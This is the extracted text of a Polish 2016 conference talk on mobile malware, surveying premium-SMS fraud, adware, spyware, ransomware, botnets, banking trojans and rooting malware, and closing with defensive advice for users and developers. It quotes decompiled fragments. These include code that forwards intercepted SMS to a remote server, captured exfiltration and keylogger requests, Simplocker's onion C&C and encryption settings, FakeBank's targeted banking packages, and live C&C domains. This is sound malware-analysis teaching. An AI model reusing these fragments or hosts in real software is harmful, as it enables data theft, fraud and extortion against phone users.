Możliwości złośliwego oprogramowania na platformy mobilne

1. Możliwości złośliwego
oprogramowania na
platformy mobilne
Łukasz Bobrek
SECURE 25.10.2016(img: http://www.pcworld.com/article/2691668/report-huge-spike-in-mobile-malware-targets-android-especially-mobile-payments.html)

2. O MNIE
Łukasz Bobrek
Specjalista ds. Bezpieczeństwa IT
Inżynieria wstecznego złośliwego
oprogramowania na Androida

3. 1. Wprowadzenie
2. Przykłady współczesnego malware
3. Możliwości złośliwego oprogramowania – podsumowanie
4. Co przyniesie przyszłość?
5. Zabezpieczenia (Antywirusy / Użytkownik / Programista)
AGENDA

4. WPROWADZENIE

5. Kontakty
SMS-y
Zdjęcia
Filmiki
Google
Facebook
Bankowość
(…)

6. ~ 2 082 700 000 użytkowników urządzeń mobilnych
~ 3 970 000 aplikacji mobilnych
~ 1 062 177 000 użytkowników mobilnych aplikacji
bankowych
~ 550 000 000 0000 dolarów wydawanych w ciągu roku
poprzez płatności mobilne
PO CO ATAKOWAĆ APLIKACJE MOBILNE?
www.statista.com, Symantec

7. JAK ATAKOWAĆ URZĄDZENIA MOBILNE?
?

8. JAK ATAKOWAĆ URZĄDZENIA MOBILNE?
Inna aplikacja
na urządzeniu
Podatności
systemu
Kradzież, zgubienie
urządzenia, przypadkowy
dostęp, inna aplikacja...
Ataki na
transmisję -
podsłuch,
słabości SSL
Social engineering,
słabości użytkowników
np. słabe hasło, zbyt
trudne mechanizmy
API – błędy kontroli
dostępu, logiczne,
konfiguracji...
Analiza
paczki

9. ZAGROŻENIA
1. Fizyczna kradzież urządzenia
2. Złośliwe oprogramowanie
3. Podatności w aplikacjach mobilnych

10. ~ 1 300 000 aplikacji mobilnych sklasyfikowanych
jako złośliwe oprogramowanie
~ 1 500 nowych próbek złośliwego
oprogramowania dziennie!
MALWARE
www.statista.com, Symantec

11. MALWARE

12. MALWARE

13. MALWARE - DYSTRYBUCJA
• Nieoficjalne sklepy z aplikacjami
• Phishing, socjotechnika, reklamy – instalacja
niezaufanych aplikacji
• Zainfekowane stacje robocze
• Wykorzystanie podatności systemowych
(stagefright, iOS remote JB)
• Oficjalne sklepy z aplikacjami

14. PACZKA APLIKACJI - ANDROID
• AndroidManifest.xml
• Skompilowany kod źródłowy (dex)
• Szablony, dane (xml)
• Grafika, multimedia

15. PACZKA APLIKACJI - iOS
• Plik binarny aplikacji
• Zasoby (grafika, video, HTML…)
• embeded.mobileprovision
• _CodeSignature

16. ANALIZA STATYCZNA

17. ANALIZA STATYCZNA
Pliki .plist
Zasoby (grafika, certyfikaty….)
Pliki wykonywalne aplikacji (.app)
„Provisioning files”
Zabezpieczenia binarne (PIE, ARC, Stash Smashing)
Class dump
URL Handlers

18. ANALIZA DYNAMICZNA

19. ANALIZA DYNAMICZNA

20. ANALIZA DYNAMICZNA
• Analiza funkcjonalności dostępnych w aplikacji
• Sprawdzenie logów oraz cache zapisywanych przez aplikację
• Sprawdzenie jakie aplikacja uruchamia procesy oraz jakie pliki są przez nią
zapisywane
• Obserwacja ruchu sieciowego generowanego przez aplikację
• Analiza IPC (ang. inter-proces communication)
• Weryfikacja poprawności konfiguracji SSL
• Testy API serwera aplikacji

21. PRZYKŁADY ZŁOŚLIWEGO
OPROGRAMOWANIA

22. SMS PREMIUM
Historycznie pierwszy rodzaj złośliwego oprogramowania
na platformy mobilne:
• Fake Player (2010) – 300 000 instalacji
• Scavir
• FakeInst
• Mkero

23. SMS PREMIUM
<?xml version="1.0" encoding="utf-8"
standalone="no"?>
<manifest
xmlns:android="http://schemas.android.com/apk/res/a
ndroid"
package="org.me.androidapplication1">
(…)
</application>
<uses-permission
android:name="android.permission.SEND_SMS"/>
</manifest>

24. SMS PREMIUM
public void onCreate(Bundle var1) {
super.onCreate(var1);
TextView var6 = new TextView(this);
var6.setText("Нажмите ок для доступа к видеотеке");
this.setContentView(var6);
SmsManager var7 = SmsManager.getDefault();
try {
var7.sendTextMessage("3353", (String)null, "798657",
(PendingIntent)null, (PendingIntent)null);
} catch (Exception var5) {
Log.e("Oops in playsound", "", var5);
}

25. (M)AdWare
Adware – sposób dystrybucji aplikacji, w którym źródłem
dochodów są reklamy.
MadWare – „agresywne” wyświetlanie reklam mających na
celu skłonienie użytkownika do instalacji innego złośliwego
oprogramowania lub włączenia usługi SMS Premium.

26. AdWare
Przykłady:
• Durak (10 milionów pobrań z oficjalnego sklepu Google Play w roku 2015)
• Mobidash
• Plankton
• Mobango
• Muda (iOS)

27. DURAK
Malware działa „z opóźnionym zapłonem” dlatego nie został wykryty
przez skaner Google Bouncer
{
"id" : "af70e9985-a73c-46d6-a24e-
a7e112748cf7",
"domains" : ["http://ad1.mads.bz/"],
"overapp" : true,
"overappStartDelaySeconds" : 86400,
"overappBannerDelaySeconds" :300
}
Fragment pliku ads_settings.json

28. DURAK
11-06 18:36:44.535: D/Microlog(3685): Microlog 85182:[DEBUG]-Hide ad
11-06 18:36:44.545: D/Microlog(3685): Microlog 85192:[DEBUG]-try showLink
11-06 18:36:44.550: D/Microlog(3685): Microlog 85194:[DEBUG]-screen is locked.
wait for unlock
11-06 18:38:55.795: D/Microlog(3685): Microlog 216442:[DEBUG]-user present
11-06 18:38:55.795: D/Microlog(3685): Microlog 216442:[DEBUG]-show pending link
11-06 18:38:55.795: D/Microlog(3685): Microlog 216443:[DEBUG]-try showLink
11-06 18:38:55.800: D/Microlog(3685): Microlog 216444:[DEBUG]-showLink
11-06 18:38:55.830: D/Microlog(3685): Microlog 216476:[DEBUG]-Open url external
http://g77appx3.com
1. Telefon jest zablokowany
2. Telefon jest odblokowany

29. DURAK - DEMO

30. APLIKACJE SZPIEGUJĄCE
Aplikacje wysyłające wrażliwe informacje o
użytkowniku bez jego wiedzy oraz świadomej
zgody na zdalny serwer, gdzie są przetwarzane w
sposób dla niego szkodliwy.

31. APLIKACJE SZPIEGUJĄCE
Przykłady:
• Godwon
• SocialPath
• Android.HeHe
• Pegasus (iOS)
• FlexiSpy (iOS)

32. GODWON
public class BootReceiver extends BroadcastReceiver {
TelephonyManager manager;
String originAddress = ""
(…)
if(var5.equals("android.provider.Telephony.SMS_RECEIVED")) {
SmsMessage[] var6 = this.getMessagesFromIntent(var2);
final StringBuilder var7 = new StringBuilder();
int var4 = var6.length;
for(int var3 = 0; var3 < var4; ++var3) {
SmsMessage var8 = var6[var3];
(…)
ToolHelper.postData("http://skytime.w65.1860asp.com/sms/saves.php", var1);
Log.e("tag", "result = " + var5);
}

33. GODWON
POST /saves.ashx HTTP/1.1
User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; GT-N7000 Build/KTU84Q)
Host: 204.11.56.48
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
smscontent=Tak%20działa%20złośliwe%20oprogramowanie%20wykradające%20d
ane%20użytkownik&s
bid=48666555444&sign=key7974538k459945k45

34. KEYLOGGER
POST /swiftkey_keylogger/keypresses.php HTTP/1.1
Host: www.android-app-development.ie
(...)
type=textinputevent&data=t
(...)
type=textinputevent&data=e
(...)
type=textinputevent&data=s
(...)
type=textinputevent&data=t
http://www.apk-mania.com/2014/01/swiftkey-
keyboard-v442254-apk_16.html

35. RANSOMWARE
Złośliwe oprogramowanie, które swoim działaniem
utrudnia (lub uniemożliwia) korzystanie z urządzenia, a w
celu jego odblokowania żąda zapłaty określonego okupu.

36. RANSOMWARE

37. RANSOMWARE
Przykłady:
• Simplocker
• Svpeng
• Small
• Fusob

38. FBILocker - DEMO

39. SIMPLOCKER
public class Constants
{
public static final String ADMIN_URL = "http://xeyocsu7fu2vjhxs.onion/";
public static final int CHECK_MAIN_WINDOW_TIME_SECONDS = 1;
public static final String CIPHER_PASSWORD = "jndlasf074hr";
public static final String DISABLE_LOCKER = "DISABLE_LOCKER";
public static final List<String> EXTENSIONS_TO_ENCRYPT = Arrays.asList(new
String[] { "jpeg", "jpg", "png", "bmp", "gif", "pdf", "doc", "docx", "txt",
"avi", "mkv", "3gp", "mp4" });
public static final String FILES_WAS_ENCRYPTED = "FILES_WAS_ENCRYPTED";
public static final int MONEYPACK_DIGITS_NUMBER = 14;
public static final int PAYSAFECARD_DIGITS_NUMBER = 16;
(…)

40. SIMPLOCKER - DEMO

41. BOTNET
Botnet to grupa urządzeń, które pozostają pod
zdalną kontrolą serwera C&C i mogą zostać
wykorzystane do dowolnego celu (np. ataki typu
DDoS, spam etc)

42. BOTNET
Przykłady:
• NotCompatible (4 miliony instalacji)
• SpamSoldier
• Ikee (iOS)

43. NOTCOMPATIBLE
public void onReceive(Context paramContext, Intent paramIntent)
{
if ("android.intent.action.BOOT_COMPLETED".equals(paramIntent.getAction())) {
paramContext.startService(new Intent(paramContext,
SecurityUpdateService.class));
}
if ("android.intent.action.USER_PRESENT".equals(paramIntent.getAction())) {
paramContext.startService(new Intent(paramContext,
SecurityUpdateService.class));
}

44. NOTCOMPATIBLE
1. Aplikacja odpytuje serwer C&C o nowe instrukcje
Serwery C&C:
• Notcompatibleapp.eu
• 3na3budet9.ru

45. MALWARE NA APLIKACJE FINANSOWE
Warunki konieczne do wykonania ataku:
• Przejęcie kontroli nad bankową aplikacją
mobilną
• Przechwytywanie wiadomości SMS
wykorzystywanych jako dodatkowa autoryzacja

46. MALWARE NA APLIKACJE FINANSOWE
Przykłady:
• GMBot
• Zitmo
• FakeBank
• AceDeceeiver (iOS)

47. MALWARE NA APLIKACJE FINANSOWE
1. Przechwytywanie wiadomości SMS

48. MALWARE NA APLIKACJE FINANSOWE
2. Przejęcie kontroli nad bankową aplikacją mobilną

49. FAKEBANK
2. Przejęcie kontroli nad aplikacją mobilną
BK_ARRAY_LIST = new String[] { "nh.smart", "com.shinhan.sbanking",
"com.webcash.wooribank", "com.ATsolution.KBbank",
"com.hanabank.ebk.channel.android.hananbank" };
MY_BK_ARRAY_LIST = new String[] { "com.nh.android.smart",
"com.shinhan.android.shinhan.sh", "com.cashweb.wooribank",
"com.kbstar.kb.star",
"com.hana.ebk.channel.hanan" };

50. FAKEBANK
2. Przejęcie kontroli nad aplikacją mobilną cd

51. MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE
Architektura bezpieczeństwa zarówno
iOS jak i Androida jest oparta na
architekturze bezpieczeństwa Unix

52. MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE
Root/Jailbreak
Proces mający na celu usunięcie ograniczeń systemowych
narzuconych przez system operacyjny
=
Zdobycie uprawnień administracyjnych

53. MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE
Malware + Root / Jailbreak
=

54. MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE

55. MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE
Przykłady:
• Gingerbreak
• Stagefright
• Godless
• DroidKungFu
• Pegasus (iOS)

56. GODLESS
• Czerwiec 2016
• Podatne są wszystkie urządzenia
z Androidem 5.1 lub starszym
(90% rynku)
• Około 900 000 instalacji
• Framework android-rooting-tools
https://github.com/android-rooting-tools
libgodlike.so

57. GODLESS

58. PEGASUS
• Do przejęcia kontroli nad urządzeniem wystarczy nakłonić ofiarę do
otwarcia specjalnej strony www

59. MOŻLIWOŚĆ ZŁOŚLIWEGO OPROGRAMOWANIA
1. Premium SMS
2. AdWare
3. Aplikacje szpiegujące
4. Ransomware
5. Botnet
6. Malware przeznaczony na aplikacje finansowe
7. Aplikacje odblokowujące uprawnienia systemowe

60. CO PRZYNIESIE PRZYSZŁOŚĆ?

61. CO PRZYNIESIE PRZYSZŁOŚĆ?
• Więcej ataków na bankowości
mobilne
• Ataki na płatności zbliżeniowe HCE
• Rozwój czarnego rynku
• Ataki wykorzystujące nowe
funkcjonalności

62. ASSIST API – FUNKCJONALNOŚĆ CZY MALWARE?
ASSIST API (Android 6.0) umożliwia aplikacji
„Asystenta” dostęp do informacji aktualnie
znajdujących się na ekranie

63. ASSIST API – FUNKCJONALNOŚĆ CZY MALWARE?

64. ASSIST API – FUNKCJONALNOŚĆ CZY MALWARE?
POST /data/16032016-001403
HTTP/1.1
(…)
{
"data": {
"android.intent.extra.ASSIST_PACKAGE
": "com.android.browser",
"android.intent.extra.ASSIST_UID":
10031 },
"content": {
"extras": {},
"intent":
"intent:#Intent;action=android
(…)

65. MOBILNE ANTYWIRUSY

66. MOBILNE ANTYWIRUSY
1. Bardzo niska skuteczność
2. Tylko statyczna analiza sygnatur
(Brak analizy dynamicznej opartej o heurystyki)
3. Kompromis pomiędzy skutecznością,
a wydajnością i czasem życia baterii

67. ZABEZPIECZENIA

68. ZABEZPIECZENIA - UŻYTKOWNIK
1. Unikaj instalowania aplikacji z niezaufanych źródeł !!!
2. Zawsze sprawdzaj z jakich uprawnień chce korzystać
instalowana aplikacja
3. Aktualizuj system operacyjny
4. Monitoruj wydajności urządzenia mobilnego oraz czasu pracy
baterii
5. Pamiętaj o kopiach zapasowych

69. ZABEZPIECZENIA - PROGRAMISTA
1. Nie używaj współdzielonych zasobów
do przechowywania danych
2. Pamiętaj o odpowiednim ustawieniu
uprawnień do plików aplikacji
3. Nie zapisuj w pamięci urządzenia
wrażliwych danych (PIN, saldo etc…)

70. ZABEZPIECZENIA - PROGRAMISTA
4. W przypadku konieczności biznesowej
zapisywania takich danych na urządzeniu,
użyj szyfrowania
5. Unikaj umieszczania kodów szyfrujących,
kluczy i tokenów
w kodzie aplikacji

71. ZABEZPIECZENIA - PROGRAMISTA
6. Poinformuj użytkownika o tym że korzysta
z urządzenia które ma roota/jailbreak

72. ZABEZPIECZENIA - PROGRAMISTA
7. Prawidłowo zabezpiecz URL-
Handlers (iOS)
8. Poprawnie skonfiguruj
WebView

73. ZABEZPIECZENIA - PROGRAMISTA
5. Prawidłowo zabezpiecz Intenty (Android)
9. Nie używaj klawiatury systemowej do wprowadzania wrażliwych danych
10. Certificate Pinning
11. Device scoring

74. DEVICE SCORING
• Weryfikacja roota/JB
• Lista zainstalowanych aplikacji
• CA użytkownika
• Wersja systemu operacyjnego
• Analiza behavioralna
• (…)
devicekey:AD407F0797FDDEC0F5F5A3
CA7ABB97E9BA7D5BA464DA0095DBAFFD
3,config_update:1000,os.ver_up_t
o_date:0,os.rooted:0,os.rooted.n
ative:0,os.rooted.hiders:0,malwa
re.any:0,total.risk.generic:0

75. ZABEZPIECZENIA - PROGRAMISTA
Więcej:
• Aplikacje mobilne – podstawowe zalecenia w zakresie
bezpieczeństwa
• Dla implementacji HCE:
https://www.securing.pl/wp-content/uploads/2015/06/Aplikacje-
mobilne-podstawowe-zalecenia-w-zakresie-bezpieczenstwa.pdf
http://www.slideshare.net/wojdwo/demystifying-host-card-emulation-
security-best-practices-for-implementing-secure-mobile-payments

76. KONIEC

77. WIĘCEJ
NIŻ TESTY
BEZPIECZEŃSTWA
lukasz.bobrek@securing.pl
Dziękuję,
zapraszam do kontaktu